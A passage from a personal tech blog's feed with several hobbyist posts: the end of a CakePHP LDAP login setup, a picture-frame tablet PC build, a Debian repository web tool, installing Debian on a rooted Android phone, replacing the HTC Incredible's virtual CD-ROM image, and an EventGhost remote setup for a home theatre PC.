</span></span><span style="display:flex;"><span>            $this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">Session</span><span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">setFlash</span>(<span style="color:#e6db74">&#39;You are logged in!&#39;</span>);
</span></span><span style="display:flex;"><span>            $this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">redirect</span>(<span style="color:#66d9ef">array</span>(<span style="color:#e6db74">&#39;controller&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;allocations&#39;</span>, <span style="color:#e6db74">&#39;action&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;index&#39;</span>));
</span></span><span style="display:flex;"><span>        } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>            $this<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">Session</span><span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">setFlash</span>(<span style="color:#a6e22e">__</span>(<span style="color:#e6db74">&#39;Login Failed&#39;</span>, <span style="color:#66d9ef">true</span>));
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>To quickly summarize, it first checks to see if the user is logged in, if not, and post data is provided it will check the provided credentials with the LDAP Lib. If valid it then attempts to get the user from the users table, if the user does not exist it creates it with information provided from LDAP and defaults set in the function.</p>
<p>I built this to still work with a users table to allow relationships between other models and users. but it can be used without a users table, just remove the <code>if(!$userrow)</code> statement and the line before it.</p>

            <link rel="stylesheet" href="/css/vendors/admonitions.53cd9f8afa9d9a8ac09093f668df057bc6d0f4bbd0886f39991a7b99934a7432.css" integrity="sha256-U82fivqdmorAkJP2aN8Fe8bQ9LvQiG85mRp7mZNKdDI=" crossorigin="anonymous">
    <div class="admonition note">
      <div class="admonition-header"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/></svg>
        <span>Note</span>
      </div>
      <div class="admonition-content">
        <p>If you use a users table, you do not need, and should not have, a password column.</p>
      </div>
    </div><p>That should be it! You should now be using LDAP for user credential validation.</p>
]]></content:encoded></item><item><title>Picture Frame Tablet PC</title><link>https://lanrat.com/posts/picture-frame-tablet-pc/</link><pubDate>Mon, 24 Jan 2011 03:59:34 +0000</pubDate><guid>https://lanrat.com/posts/picture-frame-tablet-pc/</guid><description>Building a custom tablet PC by combining a salvaged 3M touchscreen panel with laptop components in a picture frame enclosure.</description><content:encoded><![CDATA[<h2 id="backstory">Backstory</h2>
<p>A few years ago when the local Circuit City was going out of business I decided to stop by to see if there where any good deals. Unfortunately most of their inventory was at a very low discount (if at all). However they where getting rid of some of their CRM and sales equipment. I picked up a 3M touch-panel LCD monitor for $20 or so, sold &ldquo;as-is&rdquo;. When I got home I realized that the LCD panel was only 800x600px, and had a broken back-light. I tried to get the touch panel working but for some reason it was not receiving power and I could not find any drivers for it. Into storage it went.</p>
<p>A few months later I dusted it off and decided to give it another try. I was able to find a way of providing 5v power to the controller board for the touch panel, and after much searching I found the drivers.</p>
<p><img alt="3M microtouch touchpanel" loading="lazy" src="/posts/picture-frame-tablet-pc/images/3m-microtouch-panel.webp"></p>
<h2 id="the-hardware">The Hardware</h2>
<p>Once I got the driver, power to the board, and figured out its serial connection it was surprisingly easy to get working. Below you can see a picture and video of the touch panel wired up and working on a laptop.</p>
<p><img alt="touch panel wired to laptop" loading="lazy" src="/posts/picture-frame-tablet-pc/images/touchpanel-wired-to-laptop.webp"></p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/cGFatJlEpKQ?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<p>The next step was to remove the glass touch panel from the broken LCD. The glass was only held on by some very strong adhesive. After carefully removing it I tested it to make sure everything was still in good working order.</p>
<p><img alt="Testing the touchpanel on a laptop" loading="lazy" src="/posts/picture-frame-tablet-pc/images/touchpanel-laptop-test.webp"></p>
<p>Now is when the fun starts! I picked up a picture frame that used a piece of glass the exact same size of the touch panel from a local arts and crafts store. I also found a old Pentium M laptop I would be modifying to use the touch panel on its screen with the picture frame.</p>
<p>Below you can see the touch panel in the picture-frame, and the laptop I would be using for this project with its screen removed and the touch-panel attached by its side.</p>
<p><img alt="Touch-panel in picture frame" loading="lazy" src="/posts/picture-frame-tablet-pc/images/touchpanel-in-picture-frame.webp">
<img alt="touch panel on laptop" loading="lazy" src="/posts/picture-frame-tablet-pc/images/touchpanel-attached-to-laptop.webp"></p>
<p>I gutted the laptop of unneeded parts, such as the keyboard, mouse, DVD drive, and lots of other plastic bits that would be in the way or covered up. Then I reattached its screen backwards, so that when it folds down it faces up.</p>
<p><img alt="Laptop with backwards screen on hinge" loading="lazy" src="/posts/picture-frame-tablet-pc/images/laptop-backwards-screen-hinge.webp">
<img alt="laptop with screen on back" loading="lazy" src="/posts/picture-frame-tablet-pc/images/laptop-screen-on-back.webp"></p>
<p>I mounted the touch panel&rsquo;s controller board where the DVD drive once was, and gave it 5v of power from the laptop&rsquo;s USB ports. Below you can see the picture-frame resting on the laptop but not attached yet, and the wiring for the touch-panel.</p>
<p><img alt="picture frame on laptop" loading="lazy" src="/posts/picture-frame-tablet-pc/images/picture-frame-on-laptop.webp">
<img alt="Touch panel resting on laptop, not well connected yet/" loading="lazy" src="/posts/picture-frame-tablet-pc/images/touchpanel-not-connected.webp"></p>
<p>Now for the inside wiring!</p>
<p><img alt="Inside of touch panel laptop" loading="lazy" src="/posts/picture-frame-tablet-pc/images/tablet-final-mounted.webp">
As you can see I used hot glue to hold the controller board in the optical drive bay. And all the wiring was looking good. I just needed a way to mount the touch-panel/picture frame to the rest of the laptop.</p>
<p>And here was my solution:</p>
<p><img alt="a metal bracket" loading="lazy" src="/posts/picture-frame-tablet-pc/images/tablet-running-windows.webp"></p>
<p>I would use these bent metal brackets I picked up at home depot to secure them together.</p>
<p><img alt="Everything mounted" loading="lazy" src="/posts/picture-frame-tablet-pc/images/tablet-back-view.webp"></p>
<p>At this point everything was working great. I should probably mention what those blue wires are that you can see sticking out of it. They lead to the laptop&rsquo;s power and standby buttons. Those buttons would normally be located right above the keyboard, however with this mod they are no longer assessable, so they will be relocated.</p>
<p><img alt="picture frame tablet PC" loading="lazy" src="/posts/picture-frame-tablet-pc/images/finished-picture-frame-tablet.webp">
<img alt="power and standby buttons" loading="lazy" src="/posts/picture-frame-tablet-pc/images/tablet-internal-components.webp"></p>
<p>I mounted the power and standby buttons (seen above) on a piece of plastic from the LCD assembly. I placed it over the hole in the laptop where the outside of the DVD drive was.</p>
<p>This concludes the hardware portion of this mod.</p>
<p><img alt="the finished picture frame tablet pc" loading="lazy" src="/posts/picture-frame-tablet-pc/images/tablet-wiring-detail.webp"></p>
<h2 id="the-software">The Software</h2>
<p>To make the interface more touch friendly I installed <a href="https://rocketdock.com/">RockerDock</a> to make launching application nicer.</p>
<p>Also since there is no longer a keyboard I used the <a href="https://www.chessware.ch/virtual-keyboard/">Touch-It Virtual Keyboard</a> to replace key input. I like this keyboard because it can hide easily and not take up any screen real estate when you need it.</p>
<p>If anyone reading this needs the driver for their 3M MT7 touch panel, or If I ever need the link for the driver, here is that too: <a href="https://solutions.3m.com/wps/portal/3M/en_US/TouchSystems/TouchScreen/CustomerSupport/TouchScreenDrivers/">https://solutions.3m.com/wps/portal/3M/en_US/TouchSystems/TouchScreen/CustomerSupport/TouchScreenDrivers/</a></p>
<p>In addition to the utilities above, I also Installed <a href="https://xbmc.org/">XBMC</a>, which acts as a perfect picture displaying software. and with UPNP/DNLA I can control it from my phone, and even wirelessly display photos from my phone on it via my network.</p>
]]></content:encoded></item><item><title>PHPRepo</title><link>https://lanrat.com/posts/phprepo/</link><pubDate>Wed, 22 Dec 2010 04:10:45 +0000</pubDate><guid>https://lanrat.com/posts/phprepo/</guid><description>PHP-based content management system for managing Debian package repositories through a web interface with minimal requirements.</description><content:encoded><![CDATA[<p>This is about a piece of software I wrote over a year ago to fit a need I had at the time. It probably will not receive any updates but I have released the source to anyone is free to do as they please with it.</p>
<h2 id="background">Background</h2>
<p>PHPRepo is a PHP CMS for managing Debian package repositories. A while ago I wanted to start my own repository for some of my own packages, so I looked for an easy way to do this. I found none. At the time the only way to run and manage a Debian package repository was through apt at the command line, and since at the time I was learning PHP I decided to write my own software to fill this void. Thus I created PHPRepo. PHPRepo has very minimal requirements and can work alongside an existing repository that is managed with apt.</p>
<h2 id="installation">Installation</h2>
<p>Installation is as easy as it gets for a PHP app. There are no databases to configure, as it used the Debian repository files as its database. Simply upload the phprepo files to the root of your web-server and edit the config file with a user name and password you wish to use.</p>
<p>Also, if you want the ability to manage the repository in addition to view it in your web browser then make sure the user on your server that the web-server is running under has read and write permission to the repository files.</p>
<h2 id="screenshot-tour">Screenshot Tour</h2>
<p>My screenshots are for a repository that already has a few packages in it. If you are making a repository from scratch you will not be able to see as much.</p>
<p><img alt="PHPrepo main screen" loading="lazy" src="/posts/phprepo/images/main_screen.webp"></p>
<p>Above is the main screen. You can see a tree list structure of all of your repositories, components, and architectures.</p>
<p><img alt="PHPrepo repository list" loading="lazy" src="/posts/phprepo/images/repo-list.webp"></p>
<p>Above you can see the list of all repositories on the system.</p>
<p><img alt="PHPRepo repository detail" loading="lazy" src="/posts/phprepo/images/repo-view.webp"></p>
<p>Clicking on a repository brings you to the repository page; shown above. It will list all of the packages in the repository.</p>
<p><img alt="PHPrepo search" loading="lazy" src="/posts/phprepo/images/search.webp"></p>
<p>One very nice feature is the ability to search from a web browser.</p>
<p><img alt="PHPrepo add upload" loading="lazy" src="/posts/phprepo/images/add.webp"></p>
<p>If you choose to use PHPRepo to manager your repository, the above screen will allow you to add/upload packages to your repository. Simply select the file, distribution, and component. If the distribution or component that you want does not exist you can create it. All details about the package such as name, arch, etc are read from the deb file upon upload. Its like magic!</p>
<p><img alt="PHPRepo package view" loading="lazy" src="/posts/phprepo/images/pkg-view.webp"></p>
<p>If you click on a package you will be taken to the screen above. This page lets you view the details of the package. You can also manually downland the deb file, or a Maemo .install file. You can also manage the file by deleting its entry in the repository or by deleting the entry and remove the actual file from the server.</p>
<p><img alt="PHPRepo Delete file from repo" loading="lazy" src="/posts/phprepo/images/del.webp"></p>
<p>If you choose to delete a file you will see the above screen asking if you are sure.</p>
<p><img alt="PHPrepo Delete entire repository" loading="lazy" src="/posts/phprepo/images/del-repo.webp"></p>
<p>The above screen is for deleting an entire repository, and all packages associated with it.</p>
<h1 id="conclusion">Conclusion</h1>
<p>As stated before, I made this program over a year ago to fill a void. And I was rather surprised that nothing like this already existed. In any case the program and its source code can be downloaded from its project hosted at Google Code.</p>
<p><strong><a href="https://code.google.com/p/phprepo/">PHPRepo at Google Code</a></strong></p>
]]></content:encoded></item><item><title>Install Debian on Android</title><link>https://lanrat.com/posts/install-debian-on-android/</link><pubDate>Thu, 07 Oct 2010 03:19:53 +0000</pubDate><guid>https://lanrat.com/posts/install-debian-on-android/</guid><description>Step-by-step tutorial for installing a complete Debian Linux environment on rooted Android devices using debootstrap and chroot.</description><content:encoded><![CDATA[<p>This is a minimalistic how-to to get a Debian environment running on almost any (rooted) android phone. I adopted the method here: <a href="https://www.saurik.com/id/10">https://www.saurik.com/id/10</a> to be more universal and added some new features.</p>
<h2 id="preparing-the-debian-image">Preparing the Debian Image</h2>
<p>You will need access to a computer running a Debian based distribution to create the image for you phone. I used Ubuntu 10.04. To create the image you need to install a program called debootstrap. debootstrap will allow you to create a mini Debian install in your image.</p>
<p>After installing debootstrap you will need to create a filesystem image for android to use and for debootstrap to install Debian to. You can use the dd command to create the image. In my example below I made a 800MB image. Once the image is made, you need to format it to a Linux file system.</p>
<p>Once your image is formatted you should mount it and then run debootstrap.</p>
<p>Below are my example commands, you may want/need to change them to fit your environment. Such as the Debian mirror, file size, etc.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo -s
</span></span><span style="display:flex;"><span>apt-get install debootstrap
</span></span><span style="display:flex;"><span>dd <span style="color:#66d9ef">if</span><span style="color:#f92672">=</span>/dev/zero of<span style="color:#f92672">=</span>debian.img seek<span style="color:#f92672">=</span><span style="color:#ae81ff">838860800</span> bs<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> count<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>mke2fs -F debian.img
</span></span><span style="display:flex;"><span>mkdir debian
</span></span><span style="display:flex;"><span>mount -o loop debian.img debian/
</span></span><span style="display:flex;"><span>debootstrap --verbose --arch armel --foreign lenny debian http://ftp.us.debian.org/debian
</span></span><span style="display:flex;"><span>umount debian/
</span></span><span style="display:flex;"><span>rm -r debian/
</span></span></code></pre></div><h2 id="preparing-the-debian-boot-script">Preparing the Debian boot script</h2>
<p>Below is my Debian boot script (named bootdebian). I created it off the boot Ubuntu script for the HTC Droid Incredible, but modified it. My script includes the ability to become root if you are not already root, and it will mount your Incredible&rsquo;s SD card and internal memory inside Debian so that you can easily move files in and out of your chrooted environment. I also fixed some small errors on the other script. If you are not using the HTC Incredible you will want to change lines 38-47 to reflect your phone&rsquo;s memory mount points.</p>
<h3 id="edit-101810">EDIT 10/18/10</h3>
<p>Not everybody&rsquo;s phone will use <code>/dev/block/mtdblock3</code> for the <code>/system</code> mount point. Type the mount command to see what the proper mount point is on your device. The one used in this guide is for the HTC Incredible.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[[</span> $EUID -ne <span style="color:#ae81ff">0</span> <span style="color:#f92672">]]</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;Becoming ROOT!&#34;</span>
</span></span><span style="display:flex;"><span>su -c bootdebian
</span></span><span style="display:flex;"><span>exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;Mounting system as R/W&#34;</span>
</span></span><span style="display:flex;"><span>mount -o remount,rw -t yaffs2 /dev/block/mtdblock3 /system
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;Setting some stuff up..&#34;</span>
</span></span><span style="display:flex;"><span>export bin<span style="color:#f92672">=</span>/system/bin
</span></span><span style="display:flex;"><span>export img<span style="color:#f92672">=</span>/mnt/sdcard/debian.img
</span></span><span style="display:flex;"><span>export mnt<span style="color:#f92672">=</span>/data/local/debian
</span></span><span style="display:flex;"><span>export PATH<span style="color:#f92672">=</span>$bin:/usr/bin:/usr/sbin:/bin:$PATH
</span></span><span style="display:flex;"><span>export TERM<span style="color:#f92672">=</span>linux
</span></span><span style="display:flex;"><span>export HOME<span style="color:#f92672">=</span>/root
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> ! -d $mnt <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span>mkdir $mnt
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;Mounting the Linux Image&#34;</span>
</span></span><span style="display:flex;"><span>mknod /dev/block/loop5 b <span style="color:#ae81ff">7</span> <span style="color:#ae81ff">0</span> <span style="color:#75715e">#may already exist</span>
</span></span><span style="display:flex;"><span>losetup /dev/block/loop5 $img
</span></span><span style="display:flex;"><span>mount -t ext2 -o noatime,nodiratime /dev/block/loop5 $mnt
</span></span><span style="display:flex;"><span>mount -t devpts devpts $mnt/dev/pts
</span></span><span style="display:flex;"><span>mount -t proc proc $mnt/proc
</span></span><span style="display:flex;"><span>mount -t sysfs sysfs $mnt/sys
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;Setting Up Networking&#34;</span>
</span></span><span style="display:flex;"><span>sysctl -w net.ipv4.ip_forward<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;nameserver 8.8.8.8&#34;</span> &gt; $mnt/etc/resolv.conf
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;nameserver 8.8.4.4&#34;</span> &gt;&gt; $mnt/etc/resolv.conf
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;127.0.0.1 localhost&#34;</span> &gt; $mnt/etc/hosts
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;Mounting sdcard and emmc in /mnt&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> ! -d $mnt/mnt/emmc <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span>mkdir $mnt/mnt/emmc
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>busybox mount --bind /mnt/emmc/ $mnt/mnt/emmc
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> ! -d $mnt/mnt/sdcard <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span>mkdir $mnt/mnt/sdcard
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>busybox mount --bind /mnt/sdcard/ $mnt/mnt/sdcard
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;Entering CHROOT &#34;</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34; &#34;</span>
</span></span><span style="display:flex;"><span>chroot $mnt /bin/bash
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34; &#34;</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;Shutting down CHROOT&#34;</span>
</span></span><span style="display:flex;"><span>umount $mnt/mnt/emmc
</span></span><span style="display:flex;"><span>umount $mnt/mnt/sdcard
</span></span><span style="display:flex;"><span>sysctl -w net.ipv4.ip_forward<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>umount $mnt/dev/pts
</span></span><span style="display:flex;"><span>umount $mnt/proc
</span></span><span style="display:flex;"><span>umount $mnt/sys
</span></span><span style="display:flex;"><span>umount $mnt
</span></span><span style="display:flex;"><span>losetup -d /dev/block/loop5
</span></span><span style="display:flex;"><span>mount -o remount,ro -t yaffs2 /dev/block/mtdblock3 /system
</span></span></code></pre></div><p>Now move both the above script and the debian.img file you made to your phone&rsquo;s memory card.</p>
<h2 id="finishing-up-the-image">Finishing up the Image</h2>
<p>Now we need to finish up the install on your phone. Open the terminal app you plan to use on your phone, I recommend <a href="https://www.appbrain.com/app/org.connectbot">ConnectBot</a>. First we will re-mount the system partition as Read/Write, them move out bootdebian script over, make it executable, then remove it from the SD card. Then we run the bootdebian script and run the second stage of debootstrap.<strong>The second stage of debootstrap will take a while, it took me 15 minutes. Let it run.</strong> Once debootstrap has finished we will add the official Debian repository into the system, then use apt-get to remove the files left over by debootstrap. Here are the commands:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>su
</span></span><span style="display:flex;"><span>mount -o remount,rw -t yaffs2 /dev/block/mtdblock3 /system
</span></span><span style="display:flex;"><span>cat /sdcard/bootdebian &gt; /system/xbin/bootdebian
</span></span><span style="display:flex;"><span>rm /sdcard/bootdebian
</span></span><span style="display:flex;"><span>chmod <span style="color:#ae81ff">777</span> /system/xbin/bootdebian
</span></span><span style="display:flex;"><span>bootdebian
</span></span><span style="display:flex;"><span>/debootstrap/debootstrap --second-stage
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#39;deb http://ftp.us.debian.org/debian lenny main&#39;</span> &gt; /etc/apt/sources.list
</span></span><span style="display:flex;"><span>apt-get autoclean
</span></span><span style="display:flex;"><span>apt-get update
</span></span><span style="display:flex;"><span>exit
</span></span></code></pre></div><h2 id="you-are-done">You are done</h2>
<p>Now you can run <code>bootdebian</code> anytime from your phone&rsquo;s terminal to enter a full Debian system. You can apt-get install any Debian package that has been compiled to armel. 🙂</p>
<p>If you want to go further you can install X, and a VNC server. This would allow you to VNC into the Debian system from your phone giving you a full X environment.</p>
<p>Now go enjoy your full Linux distribution on your phone!</p>
]]></content:encoded></item><item><title>HTC Incredible Virtual CD-ROM Hack</title><link>https://lanrat.com/posts/htc-incredible-virtual-cd-rom-hack/</link><pubDate>Sun, 03 Oct 2010 03:18:08 +0000</pubDate><guid>https://lanrat.com/posts/htc-incredible-virtual-cd-rom-hack/</guid><description>Guide to customizing and controlling the HTC Incredible&amp;#39;s virtual CD-ROM feature by replacing the default ISO image with custom content.</description><content:encoded><![CDATA[<p>The official HTC Incredible 2.2 update added a new feature to the ROM. When the phone is connected to a computer via USB, even if the memory card is not mounted, it will act as a virtual CD-ROM. It basically just acts as a CR-ROM drive with the disk image found in <code>/system/etc/CDROM.ISO</code>. The default ISO was some annoying Verizon thing. Most (rooted) users simply deleted the ISO from their system. I however found a way to make this feature a bit more useful.</p>
<h2 id="enabling-and-disabling-the-cd-rom-the-right-way">Enabling and Disabling the CD-ROM the Right Way</h2>
<p>The first way most people disabled this was to delete the ISO. This is not the correct way of doing it. Just deleting the file will still have the phone show an empty CD-ROM drive when plugged in to a computer. There is a nice ON/OFF switch for the CD-ROM that can be changed by anyone (non-rooted users) To enable/disable the CD-ROM feature follow these steps:</p>
<ol>
<li>Dial ##7764726</li>
<li>Press Call</li>
<li>Enter the password 000000 (6 zeros)</li>
<li>Select Feature Settings</li>
<li>Select CD-ROM</li>
<li>Choose Enable or Disable</li>
<li>Press Menu</li>
<li>Select Commit Modifications (Don&rsquo;t worry if it says no settings changed)</li>
<li>Press Home</li>
</ol>
<h2 id="using-your-own-iso">Using Your Own ISO</h2>
<p>The ISO file that is mounted needs to be named CDROM.ISO in <code>/system/etc/</code>. So, after deleting the default ISO image (via the good old <code>rm</code> command) you can replace it with any ISO image you want. However this will be difficult with large ISOs and it will be a pain to mount system with R/W access and use the command line every time you want to change the ISO. So I propose this alternate solution, use a symbolic link! I made a symbolic link in <code>/system/etc/CDROM.ISO</code> that points to a CDROM.ISO on my internal memory card. To do this run this command as root:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>rm /system/etc/CDROM.ISO  <span style="color:#75715e">#if you have not yet deleted the CD-ROM image</span>
</span></span><span style="display:flex;"><span>ln /emmc/CDROM.ISO /system/etc/CDROM.ISO
</span></span></code></pre></div><p>Replace <code>/emmc/</code> with <code>/sdcard/</code> if you want to use your SD card and not the phone&rsquo;s internal memory.</p>
<h2 id="finishing-up">Finishing Up</h2>
<p>Now place a ISO file on either your SD card or internal memory and it should be mounted as a CD-ROM drive. I&rsquo;ll let you be creative with what you could put in there (<em>cough</em> auto-run scripts <em>cough</em>). Unfortunately I cannot seem to get computers to boot off the ISO using this method. I&rsquo;m guessing that it is because when the Incredible mounts the ISO it strips the boot flag. Also, since this hack will make the Incredible always access either your internal memory or your SD card, when selecting mount over USB the drive holding the ISO will be busy or in use by the system and sometimes will not mount on the computer. This can be fixed by force unmounting the drive (in your phone&rsquo;s settings menu) or by temporarily disabling the CD-ROM feature (see above).</p>
<p>To my knowledge this hack only applies to the HTC Incredible with the official 2.2 build or ROMs built off of the official 2.2 build. Please let me know in the comments if this works on any other phones.</p>
]]></content:encoded></item><item><title>Use EventGhost to Make a XBMC Hulu and Boxee HTPC</title><link>https://lanrat.com/posts/use-eventghost-to-make-a-xbmc-hulu-and-boxee-htpc/</link><pubDate>Wed, 22 Sep 2010 02:51:57 +0000</pubDate><guid>https://lanrat.com/posts/use-eventghost-to-make-a-xbmc-hulu-and-boxee-htpc/</guid><description>Setting up EventGhost to unify remote control functionality across XBMC, Hulu Desktop, and Boxee for a complete HTPC experience.</description><content:encoded><![CDATA[<h2 id="the-pc">The PC</h2>
<p>I wanted a HTPC that I could use to play anything, and that could do anything. And since it was going to be hooked up to a big TV, it might as well be powerful enough to play some modern games on the big screen. I chose to use a relatively new computer (Core 2 Duo 2Ghz, Nvidia GeForce GT 220) and run Windows 7. My previous HTPC ran Linux, but with a powerful enough computer, the ability to play games on the HTPC made me move to Windows.</p>
<h2 id="the-three-htpc-pieces">The Three HTPC pieces</h2>
<p>I find that <a href="https://xbmc.org/">XBMC</a>, <a href="https://www.hulu.com/labs/hulu-desktop">Hulu Desktop</a>, and Boxee are all essential parts of a well rounded Home Theater PC (HTPC). XBMC Is great for managing and playing back all of your local media. Hulu Desktop is the complete solution to play anything from <a href="https://www.hulu.com/">Hulu</a> on the big screen. And Boxee does a great job of playing back other online media, such as <a href="https://www.thedailyshow.com/">The Daily Show</a>, <a href="https://www.pandora.com/">Pandora</a>, etc. However these three media center programs do not play nice together. There are some small hacks that can make maybe two get along, but not a complete solution.</p>
<h2 id="the-glue">The Glue</h2>
<p>To control all three programs I use <a href="https://www.eventghost.org/">EventGhost</a>. EventGhost is a Windows automation tool which can preform a set of actions based on some user input, Usually a key-press, remote control, or other such device. I was lucky enough to have a HP remote control and USB IR sensor from a laptop I had. pictured below:</p>
<p><img alt="HP MCE USB IR Remote" loading="lazy" src="/posts/use-eventghost-to-make-a-xbmc-hulu-and-boxee-htpc/images/hp-mce-usb-ir-remote.webp"></p>
<p>Windows 7 automatically recognized the driver for the remote and with the MCE Remote plugin I was able to have EventGhost use it as an input device. I set EventGhost to capture all of the remote&rsquo;s input and unregister it as a HID device. This stops windows from acting on the remote and gives EventGhost complete control over it.</p>
<p>Next I started creating my EventGhost profile. I chose a button to launch each of the HTPC apps previously mentioned. When pressed, the action for the button would kill any/all running HTPC apps and then start the app that I assigned to the button. This allows me to start any of the apps from the remote and switch between them easily. I also assigned a fourth button that would just kill them all, bringing me to the windows desktop. I assigned the D-PAD and OK buttons to the arrow keys and enter key. That takes care of most of the universal buttons that should apply across all of the programs. Now I went of to the program specific stuff. Hulu Desktop does not need much else or accept any other keyboard shortcuts, but Boxee and XBMC share a few. The next buttons I mapped to the remote are [Backspace], I, [Space], P, X, [Period], [Comma], F, R, H, [Tab], and M. Refer to the Program&rsquo;s site to see what each one does. I also added a few extra actions for raising and lowering the volume, ejecting the drive tray, and powering off the computer.</p>
<p>I also made a toggle button that would change the D-Pad and OK button from arrow keys and enter to mouse movement and left click. You can download my EventGhost config file at the end of this article. Below is what my configured EventGhost looks like:</p>
<p><img alt="EventGhost MCE HTPC Configuration" loading="lazy" src="/posts/use-eventghost-to-make-a-xbmc-hulu-and-boxee-htpc/images/eventghost.webp"></p>
<p>By now the HTPC setup should be working. You should be able to control and switch between Boxee, XBMC, and Hulu desktop all from your remote. Just remember to make EventGhost start when windows does, this can be easily done by placing a shortcut to EventGhost in your User&rsquo;s startup folder.</p>
<h2 id="an-extra-surprise">An Extra Surprise</h2>
<p>After using this method for a while, I discovered that the MCE remote would detect my TV&rsquo;s remote control (Pictured below). I could tell because the USB sensor would light up red (showing that it received a signal) when I pressed a button on the TV remote. And low and behold, EventGhost could detect the signal too!</p>
<p><img alt="Toshiba TV Remote" loading="lazy" src="/posts/use-eventghost-to-make-a-xbmc-hulu-and-boxee-htpc/images/toshiba-tv-remote.webp"></p>
<p>This Toshiba remote is also programmable, meaning that it has the ability to also control your VCR, DVD player, etc. I went through all of the preset codes it can use (by entering them all manually and testing them) and found the one that the USB IR sensor would detect the most buttons on. For most, only a few worked, and some none did. Oddly enough the code &ldquo;000&rdquo; had almost all the buttons working. So I went through all the actions in EventGhost and reassigned them to a button on my TV&rsquo;s remote. This allows me to control both my TV and HTPC from the same remote. All I need to do is switch the Mode/Device at the bottom of the remote to change which device I am controlling.</p>
